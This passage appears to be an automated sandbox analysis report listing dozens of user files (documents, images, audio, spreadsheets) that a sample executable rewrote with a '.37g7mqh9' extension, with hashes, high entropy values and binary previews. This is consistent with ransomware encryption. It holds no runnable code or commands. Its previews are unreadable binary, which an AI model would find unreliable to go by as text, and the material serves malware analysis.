                                                                                Preview: .z...G...0.[.6..@.7..._......!E%.J{1C.....'.gL.b =.>.+.*...j+.a\....ZX0.b...Rj.3.d..j2..97.>M..z....4.)..MK..$.b...B...*."%(..!.c4.;.1.B..Y...D..v,59......J......#...q..v...P.RbW@aj...}.I......t........Z6.s.......G......U.z.4.....L..........M.s=.s.9...6.......}....LD.........'(.3L.9..... ....^...;...bi..iJy.+.|...|...`...+WV..7CY.r.5....;,4..=,...$..M.#.{....%....r....E.\...._....p..W..k.WTt..r.{..}..,.......!.=.]I.........z>,R...t.SY]D._.*.8u......e.....5...W.."..s.T.%T/4..#...h.x=./i.Q....q.....i...>r......#.R.N...p.y..P<....o....n.{'...@L.....a......H..S...n&...t c.....-...uR.}.)..f..}....v...V.. X...k8.<...@...;.a`..d......9..T....3!{....u..P#......c...x.ex.yh.=..c......a..b.q%....s...8@0.},......2S..2..2P$....~...3..j3.3..=...:4d.....ib...wHq..cN......p......3.)..c5.i$tqAa.. xQ$@...R.p........!.....V......q....j..A....]w.....c..a`..b.\..B...}.......f%A.He...S.{;.*....VO...R........1........dQ..7.....^U..t!Oe...UH..gZ..
                                                                                c:\users\user\desktop\sqsjkebwdt\SQSJKEBWDT.docx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.860763571365688
                                                                                Encrypted:false
                                                                                SSDEEP:24:OlboxoftL9YTcCsE2dv21MLJECGCanzmmuxe+UMoVuK8Lb1yk1rTfu/AtQYt:OKofMTRpuEC4lBluKcb1Tfu/Axt
                                                                                MD5:98D07A6B5C6CDC265C7D42F7BE55354D
                                                                                SHA1:3E7FD248EE5AE28A627C9C70DE8486F04AC9C181
                                                                                SHA-256:106036D0BA3700C6A087F30204F59F749D9085C4DB5DC7BE3F7938CB60BC6BC6
                                                                                SHA-512:6793FFE33295214FBDB4ECB223A8D31B643130E6F796781FA584217AF24E1B83CF03BD4D2681C83FBCB98048E11640E9984071C3AF7BCC7C2FE4EF7C265B88F1
                                                                                Malicious:false
                                                                                Preview: ...aZ0Fy..y.O.1...~.9"9G......7.4.~S.^..`.q-......r.ZQ....+.$....g.-.O.S.0./r.j.SK`..9|._.o..{.).n..SxmRd../>.......n.2a.~.....Z..(%.Fh.61....X.bz...5..@.d....o.E.J...]o.s.4.2Z.=..C.l....!>.s.....~.{Ah..9.........1c......Q..F...y@..ig...0...F.....T$..H..8.......q=....M.'......Z.N..b...,.19J...F.WA.....}.';4W......e..........IZy.'.r.j.........b.Si....h..C.K.l...u................h.vV..8.#...4)......cxo...y#./..!.s.:g...:'^... y3.N....![...&..{.K.lZ.d.f..R...AM...B..%IDq?]WAR.M......zM....d..z...84..7.......G .a...."..w.K.0..F....a..Q1@..8S).T.....Mk.{.......\.q.4...c..}.+.y;,B..E.+.$$+...uoD.E+..T..ei%...iE6.N...3....*...=k.*.....w.,K.......+M..k./:m... ...t...J.....B.le.&m.....G.....x..`u.o.N?(._q8$@.K.+..t.<..#D.m.l...<oY..$.&"=5.T.....\...#..{%,.3;...!...?.....uo.&.y..........z....'>.L.0..:N...g>....w..IBY...U..3l..P".RC1F=G.g..`V?.../B..XN....J..Zt.H5Vz..v.$..h..n..j....CC....c@..\..5uZ.......R.`.J.!.@.5.........M..Vm-.....6....
                                                                                c:\users\user\desktop\suavtzknfl\BNAGMGSPLO.pdf.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.846701342341336
                                                                                Encrypted:false
                                                                                SSDEEP:24:mmPhqSfFlN8IH7Mc6c1YEEFQZ2keUTxTi0fjpB59YkOy+kVHPjrTfu/A3Fik/:mmPhtrNHITpEE6hHxT9FB/5VHPnTfu/Y
                                                                                MD5:8775B609C3899D24FEE48E70B8483849
                                                                                SHA1:13C9B55D7F5BD8095973C59328FC8D850D594E77
                                                                                SHA-256:93D6289758DD1A5A06382DEEC0B0018FDB37FAD563908B19B4BF3293DD8BE2AA
                                                                                SHA-512:1B85C41162E09282CE308FC552F9BF22400B19EB11A8FA9FB412A639F7986A6DC6FC537641A9DAE1B2D717CBA4F0EBAFB7581F1C731280AAB0CCFA0C34CA2A7C
                                                                                Malicious:false
                                                                                Preview: }.......%_...eS5.m..n.0.#..g`......Y..3......U.A.@.6(O({...&..9Y..Ud"..;...\`f.....78kNNd2..........u....4g>.....U.Q...!@1.~..'"...B........6.0...nq..i.h..mv.bj....#.X..6.^.d:...m....1.f..G.Q.3........$y\.D .[A..X...]...h....x/...DHHp.4....s.*..a.XO.J..x.8.S.%b.%..F.N|.K.G..!c...\P.[.D..Fg40....=.m...QE.5..b....9..H=3^z~...@........\.6n'.6."..'..=.FW..u...7E...... ......}.....nF.P2^wgVL..Z~.........~.@.=.r.....b7.....|n......=..$.%..'..?m......[e.3.b4../.v.6.j.RtJ..........P........M.......r....6...z...f....;u.tB../............lg...D....|M.*....C}...(2'.k|w..':9^@*3......5]...9'....b&...x9.`kc6...._...#.4...}$.......*am7...e..&.C.4m..l+|...)..3.Nc...r$....n.....>.).......:3H.t....%.Y.Bb(...l.,Y.....i`..k..&.....k...K..u!..p.uq....h..m...O[.."0.)^.A..c.>?S.O].....^..3..5..Sl@..w./.}.Tr.G............X!....B..r..u...?......I...J!...y..(.z.#=....`..........'...UR..[8...t....{.x.^V..J.|...*@n..|.qf...a...'MG..x.[...s....:.Y...s
                                                                                c:\users\user\desktop\suavtzknfl\EEGWXUHVUG.png.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.835911599188269
                                                                                Encrypted:false
                                                                                SSDEEP:24:ggSDbQAp3ANcj4/cTvTee6K7/XFk0vX83Ilf3RWXUiixlCBQrvrTfu/A/en:gPvQA2iLTCefns3w3RislMGjTfu/A/en
                                                                                MD5:C495801387F3663BF8C6B27FB0DC0017
                                                                                SHA1:6CEE813C083187D2758C5B0908D33466BDE6925F
                                                                                SHA-256:663CF5649D8F7516B13CD34D913586C0B18436F6DD5B2BEE0983486ADCFFFAD8
                                                                                SHA-512:DF21716DAEEDC455D19823AB5187A2A6EA24BAE6C8D8012B702FF00081B1DE1D78C79F098B2D2E5533A72C5B24BCD4AB5FB3A4E006D70C60D5B15AC86F851D51
                                                                                Malicious:false
                                                                                Preview: .........t..K....@.vL.\...0....t).p...>.^..F.%Xk..|........EA..G.....v.n...C7...w.Ff:.QN...,.e@.h-.E!R.a.".vN.M.....1o%.....p.>.k..`.V.o.Bw....Y...1..........m.e..1....}-sT4.Pe..d..'~..i.L.*9..o...d....R.p...GF..Q9c..A.....,......3..`....E...|....8.z......P.....4?..u.].Yt....u0..]f..yl..A:H....u..D<..kF.....k.9..2g,N@....$P.`lW...Tk........f.....HM.?....O."@.].R6....z}.PS<G0..}:..Nx.....5>.%kH.{Fi.nyM(Y...b&.;.CE...u8l..`.......e..S18...s.on.?]..p.....a-".X2,......z..r.v.1x:...S.c...o.J......f8G`r"JIV..x.X.?..{.1Zn..}.@.../=|......cF...J...e....%.m...3Z.E..P...4..........Z..{'NtX.mDh.t.X...DO._.fz~...E:...h9.x.....E..1....)..../K.8.....R.E..........l./;.~./...^..1Y....,....3....L.5..'R....X..=.Y.&...8H.o.....4.Y.s..8.......lt..$..6.Z.]W......M^..%*D..W..P{.>.D.k.6~....@2g0...oH$:.7.:ON.z.a....h.lLM....d........)HE7.}...R.l....|....D.e.......y.aw..lE%..I.)Y.._6.]y|..'..c..fN...JY.c..#.....*~#...j....G..#.e..%....h._^..C...`(}.....,=}6o.
                                                                                c:\users\user\desktop\suavtzknfl\NVWZAPQSQL.mp3.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.863669755649813
                                                                                Encrypted:false
                                                                                SSDEEP:24:TjPq/WuFHkfH3Oc9W6jZ7Eu/X5VzZ0Y+3eaWRSQhkrerTfu/AHPHQx:CWuFi+SWm1j/plKY+NWRSQhkrETfu/AE
                                                                                MD5:C81E0CCD43B1F321A1E5643FA556112B
                                                                                SHA1:A5EEF5CF9C7CA7ECA15F39790A93BBA33AA8986D
                                                                                SHA-256:B825336D55CCA8290DB1FF6487EC61363EA38CC17CD31DF9310AD73505EA4AD7
                                                                                SHA-512:810FB9E9A36585BD39D8BC7B0F4872FDECF635681969AFE450EAC0D054502EFB97B98231E940CF94C9E3C748A30195FC5DEBBD1F561926A61CF1C1DB832B9EAF
                                                                                Malicious:false
                                                                                Preview: ...>....8.)...zyR.l..(.YY..0..A.q..G...m..P.f..~..\N.q..d..'._O..J.16H.....s..z<..[...F.q..J..I.O...Qo....|.hlce....8..s.".l..43.l3.K|.g..|..L........=K....yH].f....X.y.5h."..cFT`.d......*.PW|a.,.?.j......?.;.O..M.3...............P.f!.I.y....Z....%2N.....B..}...y...d.....n...........[..2"y?.-.......t..o..&.6..sNe7.!Z.%...LEwF.S.....L...;1.EJ.^..qr..@H.$...y^....7..-...."N*.h...}.7....|.U.jJ.K&...b.>.B._.<....a.,f.).]X...Tn..2.[}......v..C..V...x...r?.....}.v..wt...n{.....(\.[...:F..z.1.......m..T.3..a;....9}Q.R..g(..m..^t.aZ.wO..M....(....V$F.x &A<.O.4f...-..?3+orW.\.DU...8R..(..mP.=.v=c3.%.h....~...l.I...X..!.......>..kA.!....}f?....=B..._...c..X,.p\....Q..3.j.N...b..'.{4..................R...r.....!....:.Z;2\2.#..y..|j[...g|.%....L.1R.{[........P.h5.\2...u..CO#.>...M3.2R!.}..0..L@.i.?..*..."...n3...T.g..h...<v.-.#...r......b.2`.&...s..ufEr.u.1l....[..Zw.L0f...r...=j_0.....z..3{..X.%.....2........GP.8.N...'.6 .7..rJ3.Z1....Zrr ..'.../.VT..v.
                                                                                c:\users\user\desktop\suavtzknfl\PIVFAGEAAV.xlsx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.8519282559060155
                                                                                Encrypted:false
                                                                                SSDEEP:24:5Cm/a+2QX8kczNRTzmXdvhjFosy9Y5sX1q4z8VrTfu/AMU:na+38ffmRoD9YI1q4KTfu/A1
                                                                                MD5:FD09114FD132CF0274BF487760CE0409
                                                                                SHA1:F42246D4B14469A865EF1FDBBFD9AA6207B229B5
                                                                                SHA-256:2BB9E53AFCBFB8AC491D640C3FB0CBF1AF193740229F97ED897AC90F96E2D636
                                                                                SHA-512:46A9994B6A976E34D1E8D8B412ADA8AAB6BC092DA53ADBD18093D61D545A3FF0EBE2958989C59872C3FD15DC3050E7981BD0E8BB18A01C2573CF203A066C528B
                                                                                Malicious:false
                                                                                Preview: ....7.1.~..E...a.P.n..m.*.CN.>RS6....^!...'B.. .%m..P...".0...J\..A..........".PDl...:..M.......A|...(..z./.9..in...;.I.Z......&..p.*.^..s..q.;S.F.{].\..+...qz.3..0~... .eY4..a.u..&1.....2..:i..V*S.c...b..^..B.....>..(....KP.../E..u]..-.....O.I..$M.+..>~.q..B.A....\..GM[,...{..f.w.X.O.n.uX$cT.Bq.../..8 P4.@}>..T..=.U..Y.#...n..f.5.....G(.Q...\....*..B...g.....a..@.O.r_.H..Vi..J4.:p...p.._iB+...<0.1.)....d..?%....'_....&.^.E.8j".....4x..~.....0.c2...w.../....E]3.j....L...........=j..{.i.Y3&....k.Y.`.Jf..d..U.....I9\....RXz.....v.E.......!>!*z......!.Z.W...Nu0J..l..)$...A.fI..'-3.....r ...B.c....a..\'.OMW^.D.......O.f.qL.....{..?S...?..$U50.y......m$...e......(.I.c..[1.......i.p.q.......X...2.K lF.>3.v..>.....m;._i&I...P....o.V.......v7..9..{.y`..D.....!.?P4!2...6....i..h.........^..+.@...=.;..J.c..&8..f.c<..7S.|Mx]3<\?.h..%j...f?-..w}....^.:]\......E...L.<..,...#.....8..OV|P...oS?K...N.`._J....D..Cn.h..R......f......9a.K-eX/.t.
                                                                                c:\users\user\desktop\suavtzknfl\SQSJKEBWDT.jpg.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.833166249000018
                                                                                Encrypted:false
                                                                                SSDEEP:24:+CfSLTWx45t8XmyhKsIhwY0IcZgDBmoCoJHvN5XLZFqFngrTfu/Arhh:lfSbNTsGwrIP1zCoJPPXLZQ4Tfu/Arb
                                                                                MD5:00228DF306D4B7D70F39D07EF9C120FE
                                                                                SHA1:95A23FDD662433A6C0B6039D7ACA6B04EFA5595A
                                                                                SHA-256:1CEF31142647958A2B5865490DE33326646F15CE3D63ECED7190F91EA1DE2E1E
                                                                                SHA-512:D907BB2AB63D24572F30C4539ED079B3E5B23DB73C724C630DA4A9AE03B58F1E921079148D11DECD3C648D4039314858F6A24E92ACC10414225879D3B259C014
                                                                                Malicious:false
                                                                                Preview: ...,M..*O..%..(n^...uW...3n.............-..9Z=..+..U!]_W...mJ.9.o.}..E...\....z....@..<.U\........0r....d...z...=.v.`qI.k.P.....9...*..t%z..^..#B.>f....v(t...._..V..u.G+E?...f.4Po.......S=..{............3|.7.Ft........2.0.y.T.,{.N....n.,.......M...u.X.L~D........ORg.&(..+.G.E h/.(A..<......k....d.....*~|u...M.[.E..C...d@...."qG..N.5NS..Tm.9..9|AG....v^\...2.|q.. 8&T=>m..Km..v.?.......-....!1.NI..MKH..q*+.~....F.....{.mQ..wG...Ge%....l..T..,.....P..jd...E7*...|`7..].....5-..6.,#......T.J#S./&0:<.n|.....x..v{..&...#.k..oE.....#..?....Q..T2aA.H./.`bt.=E..{...x..z).x.P...^..~...)..2.8s.&V/..P...-.. ...y.w....{...uL../A.>.w#O...../C...q.A.P>.u.!3..<u3ZX....o../In.0......8<!;.....Y.Z6[.y.K..DFf..t.(.+.t`M.@.r9..@X}.^H....../.#.m.y=}.C......qlW...Hk`Z.=..j)..U..:T..F...L.D.|..i$........t.........u.W...=.+...N.....Mnn7...G.WQ.Z.K.:..<N...N..o/G..wp.......p.Z...._.H.x;...Nc.,...B#W.$..ws...|[..q`.t....2...Q=.Y....W.+...e.WtgY......C#..g..6+,.V."...
                                                                                c:\users\user\desktop\suavtzknfl\SUAVTZKNFL.docx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.822616773274878
                                                                                Encrypted:false
                                                                                SSDEEP:24:7C7t5X8Df4QgueDwCzUJRl762YjjAQHN1MlCH6rTfu/Acztf9:7CZq3en9PxylCHQTfu/Ach9
                                                                                MD5:01ECB0CCBB9732B67A0EEE9F4A180658
                                                                                SHA1:7E9594C174742BCDA5E767704AC6D75DDB2F9598
                                                                                SHA-256:DCD336E17091000F4A58ABCBB05E9BDF912601A0BE37767E2D46961E58FFC860
                                                                                SHA-512:293B8AB08E7A036ADB33624D9A7D8D7299AE53322F6B94643AEB001E196AFED2E47B8A2D619AD8A21DEA764180E7C2EBC66ED1B7938B4A3EAA837A057CD0EF99
                                                                                Malicious:false
                                                                                Preview: t.?..4.!...~.hgt..H.F.[8..q{{7.F.3A:.....K.c.....0&..2h.....eG-&l..._S&A.F..gk..J.W..Bp..j.FD.!...s..qu..u..;...z.*n.9..I....%....e.S.0S...R.I..`n....F...........w.*A.zX......JH.LAN..D.?..*.F...xt..=).9...!..^.s..CBX.\...<:.=..}O.M!..4...e.$59.YB...*.+.G.zsDH..J...J$:+..].F.l....]*b.'..... .~t+X.V.~.!x~7 E.L.l.@dJo.yM..o..K....Z.0;.........=>.R"...Z..2....`W~.r.V%...(....v.~.ME.....>A.Z&<0..x.K.g.Z3...^.HN]E.,......J...b$..:..YW..vR..<...\..}.H.C..m..m.j)....%.2...I.t....j...8..YX.1x......@....c.....V..a...\P...s.C...n...].!.....+.,...B.yC$.j..8.-.C..$p..O..~..,...g=...}.qY6^.=^+...._..n..&E.1K.E.?S..H..*jY..>].td.Z.PS.n.KC..}7...]x@../...N-....k7~.E.a.......<A.._n...p...@...{.&....]^.S.*....}...<.,...].HT...q. .{....!6D.n.N.a.....SK..2...l.$.B..<W...})Y.[..<.p.z.p..UT.....M.h...?C..&...(..rL..X.H........J....A..I.=\.J....N...d.....4..3Y...z..^.t(.u.+;.Q..V.oC._/$4H.L.....[..)...U.R{%.&{=..8.<.......|.Y6JFo7.x.{1...S...3..4..$_e<.#....j....b...GLJ......
                                                                                c:\users\user\documents\BJZFPPWAPT.pdf.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.8589636474820015
                                                                                Encrypted:false
                                                                                SSDEEP:24:N8u7+SNBjNi5onj3OBOv2lTnt/MMsbjhLgoKQatrQ9fPCUzLbrTfu/AGIr:NJ77BxiSjyOvWrt/MMijhMOTxRz7Tfu+
                                                                                MD5:02C281F89654E9D32BBDE3BAE57FA707
                                                                                SHA1:1F6E702AD9E846F36EE2D25D02D97C8FA4B10CD2
                                                                                SHA-256:0A25BD84303FD18F7F0CB25047900DA196E22E0BD10DDF80BF5BDA04FD1F0853
                                                                                SHA-512:679E6AF89F7D16ED51C5F46C8B4CE7FEB88BF371AB81D3D77B1049A8421BF2F1FF513E81684A20A2ABB1F728ABF2B98A07C9D18DB9C8363E6F4DC5812B60AE7B
                                                                                Malicious:false
                                                                                Preview: ]z...w.1.BV.......[.5.yw.q]q..0s.~....w.w5.z@...M.mX.iq.u<.1.$..~x..#a.G..a...B%z..4.V.Q.}7F...[.M..^.v......2...V.D>....`..&.$6....O..;.....Q..o.9vtI...F....|..\...5.....t.r.5.b..c@E+w..........u..y.C...,....y......R...k..5.?1..O/....?."...H6....b.....2.i.US...7.....y.t.6.ht8.'c6..Q...L...R......cS.D..X...gh&&..d..._.~.T..y.u...../....\$...y2|..q...9.}..Ye.hSe....I...f.".v1.U.=..hH..\./..;.u..x.[.jb.........d.(.^P.^..].@R..YjHk...2..!E.2'9...GR.n.>`V...\...:.....%.H.{...f.a.....L..7.).-.B5...%.*....F..h....9I8...XG.l..\|........(I.V...P...V..1..#.....{.d./.]..5.>W<...T.<.'..Fz.N.........m..yj..w..W.gx.......)f...Z7..uZ.k..@.S.....@6C..)9...2.....2|9.0.0T..&.H.ul-....|,.f..Z....S.nt...G.A...Pr.R.=.[fwK.+...s..JE..(..=..o.U..L....a.=-..(..M..3.p.M.;o.#hKP.'..'m..../O..m..*../$W./5.....XP.+.'.e...r.........P.M..Ne...vS.f.+.._LR.q......._l.....+:..r.W]9.E.t_..Yw.(.g.....4...w.Sb.h.....h..C...#...l\.."..-.6.J?,...m.L..)'..k..U..3..Z..g..Y..
                                                                                c:\users\user\documents\BNAGMGSPLO.docx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.842756360586008
                                                                                Encrypted:false
                                                                                SSDEEP:24:6e5Fb3sWCaMgRtaFFQGeWK/RA7IULZRoC9aWvN93AM3rTfu/AkP:6Y39egaQmKZAtcmpvT3AiTfu/A4
                                                                                MD5:486168F71C8043F0FF737990EA40A4EB
                                                                                SHA1:A22831AB986952C658A1ED527A8A475090D4358B
                                                                                SHA-256:E639052C6235D2A657F17779BE3B33773C0E783710DFC2BDA3C2A8408C1B806A
                                                                                SHA-512:9C437F850CEAAE27787840FD6469021A2D10F3A3FE3DC7748BE426A936639B530CAAD6352D6C776AF0BE16C79DC6292445F50D07DDE1BBF5C8130ADD6DD8B17E
                                                                                Malicious:false
                                                                                Preview: lR-&H62s..#..-I.r.c$..D.#..r....m....]M...Q{-.t...e...l2.:x..6b....X..|.m.xfj..ZQiM8d.y....6...t}............4..{..i....~....68.[{AT........BU.s|..V....`t..A..a.l,.At......7.._..."......&O\..;>............E.........P.D.Yv.u/.......Q...K......E.s....}...S....k.r.rp.J.5Q..h...E(....m{v..q.&...1+...W.......<....J..Q.N@.r...2?H...\..qy.....l..mE.T. ZP..G/...,.y....u.....!..Y.>..2......[z....4.JZ....J....|...=....._..t..D.(s.[.R.,n..&Fh...-.!.s.WpN..............).G.:.........09c..0!;.....?....9.."..+ak.......8\....&..t.[.8.q*....A\...%^..E...+..VS[ .6....o...tVH.FX......7.I.C.6.......w.H.g..4.C?q:.P3..Os{...)Z.52..:...r......A.SJ.z.B`p?G...R..:bP1g.Ss........}M.+.......nu>.#.P.G1xsA.F...*.&"-...,..D....].;....uH.x........dD.....*..!....B.....m.%#...O.F.!.Z.AhmR.2.....".^......OP...;...........@~....A...2....9..2..e.:.7...5.`..G...O..`.3g...m.=.$...`.f.<..\Vu..9e8..=".?.s.2p.....*Ge..H.....m6I...8.L....E.?.n.8.....\..^...U.&$huO.[.....@
                                                                                c:\users\user\documents\BNAGMGSPLO.pdf.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.811454671624709
                                                                                Encrypted:false
                                                                                SSDEEP:24:gMnIL2x1YHk/vZQp+3KcE/7FfqeyZcvrTfu/AeY:QL2PYHkXuck/7FfeZ8Tfu/AeY
                                                                                MD5:69695CB83ED910577C2723FF2E1C0E62
                                                                                SHA1:E942BF171EAE693174A787472164635DE106CDA7
                                                                                SHA-256:564C03B61DF5B669608F4968B5A4D7F3F6369DB57030D8B88ED037A171C05C1D
                                                                                SHA-512:037C595858D4FAD7BE76532D32BBEA9349EBB2A685874538739E7786C0E1F934481466956EFD9BD84C39094DCE65C6947603B2AAF00D2993A4B203EA2E39BCF1
                                                                                Malicious:false
                                                                                Preview: ..~.[.O.?.#..R.......{......!E......&......,.c....v4....?..C..Z... ....7.....0k".6*....>h.\..&.....z81W|.R...o..-.#hn.}./p....E@.RA.#..]60w}%"..6.......&/."...2.k..-A.~+~..[..&L&..H.z......[4.ws./..F. .D...H..]...)N.6{...V..@......;)..h+....[0..18..P....%.......b..k.L.t[.hF.....k7...m.>.j.L.V3nxc..6.kE3c..uk.S.$._....B....E=.ou.....c...._.O.-..F|_.9..mW........."..td..1.(.m.*.....NR..?..Ic.'.W...'.<.2.)..Lb..K...R..4.(.w..?D."...uA....w.#..d.v..&c.=n}q...{......7.....o...c...y.....j.\.....c.d..^I....W.id1...\3+@.........WO.l..{.~k.N....j"...].Z.E.c7aO..Y9.?\...0....v.K..h.HB3..g_./"......m..{...=q.R.....3..$.WHoq'..;.R..$+#}....l..-..:.....3.2...%D..x2.O~P.E2q.&....I.. ..R|.....Z=.W.Ci..\.J.i.F<.s....L....<-csH.......zE.).....dN.}.[]D..aK.K.).DsR.F.,y^.....Q0......{z.t..<.....1".f.tHC.`...'H..D%.J...?.*...Gq$D.K.PW.X........{....+....n8&mt.B.....X._.G.1F..9.sM..H.\*.m.8A...V.G.....@|.J...B.c.."..R..=L...l@...6...~..l...d..l...fZ.[....R..
                                                                                c:\users\user\documents\CZQKSDDMWR.mp3.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.854839288835355
                                                                                Encrypted:false
                                                                                SSDEEP:24:QmftSW0o+TypMskwKYxcFAghyrZJ8qfPMCQIVIrTfu/AL0bOc:Qcg3upMsvlcFAeyroQPlwTfu/AL01
                                                                                MD5:3F92954FF558442054413F0746ABA6DE
                                                                                SHA1:761F669DEA85528252ABC36E98F9016FDB8A044C
                                                                                SHA-256:F845C7D63F437B084B51EEF2DB85C3E7ECD6A4B7318C93E23F40C6431C486EB8
                                                                                SHA-512:5B937BA2885D9E031A22F0552B294EC353C44389F80CE5965D83F07372AE98D9E6B939A83F2DFA0252E97A00E7D368F4B7DD10A26A21E0CAAC97BD3C822A9822
                                                                                Malicious:false
                                                                                Preview: .....b.k}.......X'...y/sB..>.o.3ac......^.... V$..5JW.O\WE.MN.. ..@."Q.#.bC.(....7!........ly,3klQ.NqGZ...j...@..-s.....W)..@......)^....F.....Hw..|.....b....$.8?{.c.^..CME.i.|N$0.X..?.P......o|']%..H.U../!.h....T..t.UT^.Y..Uu.+\.T....4&.Q1z.?m..._....zX..2K.8x."...>.e..q.P...=;.....,M....yP....?.|f}...Z......@p.g.[......h.....&....,6..[....4.%Y.-...$3+$....(......&F..6......Y7.,.T....|.....V..;....[J..9(.L...s...Wt.TM)8.}...qw.......h.J..?...ZE./......$5`&......i...F.<...I.L......A.>$mp. .rw..!.1.^.Q..K.......<...~K.mK.cU....G..X.lG......[....=:..".U..UV.m.X...TdJI.<LL%....... s.DT.+.5'.(...l0..[i..T.L}.^!....,.....(w?...o.J.%.4.H....z.......u..xW":.a.i....%q.6....T2...N.K...n.`.lr.K.)X..7.L..3...R....e..K6|.o:...Kr.Sy#...3...x\...A.hqF.u&5/.S.+.<.}....mT....o...O...[...m_w`i.t........G?.A...zF...=...].......q.....>.vr..\..7....s.tV..._.r@.....54..Y#.3.&..j4.......^D._.'J*.i.z.....f.......T..Z..#....}....K.x}V.j.l`.&.a.4^...m&l
                                                                                c:\users\user\documents\EEGWXUHVUG.png.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:COM executable for DOS
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.855585821223868
                                                                                Encrypted:false
                                                                                SSDEEP:24:gDjGQvdDzDQzRbH1QBQS31HAYip9Exb21dPsPlPghwwCgT2L88rTfu/A6xip:gDqQvdDf4uQS3WEA1KvPzL8uTfu/A4+
                                                                                MD5:497814BB2B6449152F84C6CD4A5AE95A
                                                                                SHA1:387D6D3E0C0C85065EE1D33D61A04C6F2A70BDA0
                                                                                SHA-256:0E95FE1D4D1A4F133A55EF238C73483F4059145BE57D9E5AA3EB818B264D3240
                                                                                SHA-512:B696BFE2D602A831523D70BCA4606D7C61561F1A7A3930BA15389F2A30389BA02D12851DE1D8CE3ECAC40597114A13FD1834A7285BA3B559840B62DD0E7364A9
                                                                                Malicious:false
                                                                                Preview: .0..'E.#a%.m+....|.G.......%)..V...!...........$.4o.a\..g.V0....d4..C!*...M.|..-,.(.t.V.21....\..G....c..._.Z.]J.^..S..|..S....M..,..Q...q..myAYBTQ.|....R.l.HzJTT..3..%.pL ..u.sr].H..].....Q...i>..V.F.<....Sj.....@X...{.Y..O.s..r1cL.ae..ZJ.@o......h.3.5bn.t..........Z......9.9....'...8..M.........s..A..E#......:h`._....(j..u.O.."_..G.'..m.|_.R.8.....w".+...>.s5!..j....q...{ch.. (.....-d'.L0..KC9D+..uP.Q....:[.r..Q@.....h..&.Al....x...i*(&.F.`...dK9..E..V=..+......J.....6.N..dl.W...F.p.y...>A.~b.I.9y`.pw..4.fK._....ULZ..q....v....p<..?.,..E..ho..I.+B..n..P..9.].......4\&.O...r.g.b=4.R).oP.e..x...f|.6......c5.5xY......{?.....|.h...]...?..`......r...ZB.F..-.....-..".......3....N..~P../...!/.oaB`...;I.l..I.m.....y.7..7.FW...t:..o...........A40.?.........eG*..v....V...2...2S5.(.....U.LC\...dN)..`e.=.N.M./.7m.B......q. \&0;..........<7O....T{...#z..<...,..,...3o...O...S[ ......@9......S:3.y..@...u.r........im.....\...
                                                                                c:\users\user\documents\EOWRVPQCCS.jpg.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.849789951357098
                                                                                Encrypted:false
                                                                                SSDEEP:24:d3U4S7PhTb/tPaTdAcsq49QoNMo8MzHHxeeF8+Txy41v/UQe2U3rTfu/AJcq:dk375TbVyRAE4yLBMznx5Fr1CQe2sTf1
                                                                                MD5:9C60E6C1487476315C907DB5C34028C8
                                                                                SHA1:E1338CCF17110704E99C7220A3B53010D485CF35
                                                                                SHA-256:BD5DA5DFAA3EE61253ACEEE2D7C17C6707A1DCB2489FD2711DF3B108D08044DA
                                                                                SHA-512:9E4A9A1A100CEACF28F3D3CCD9736B5B5A9FD1E012207DC0C76247699B6278AE180A68778883BC60C5838150D03E506BD15A1969889917C431EB5224708467AB
                                                                                Malicious:false
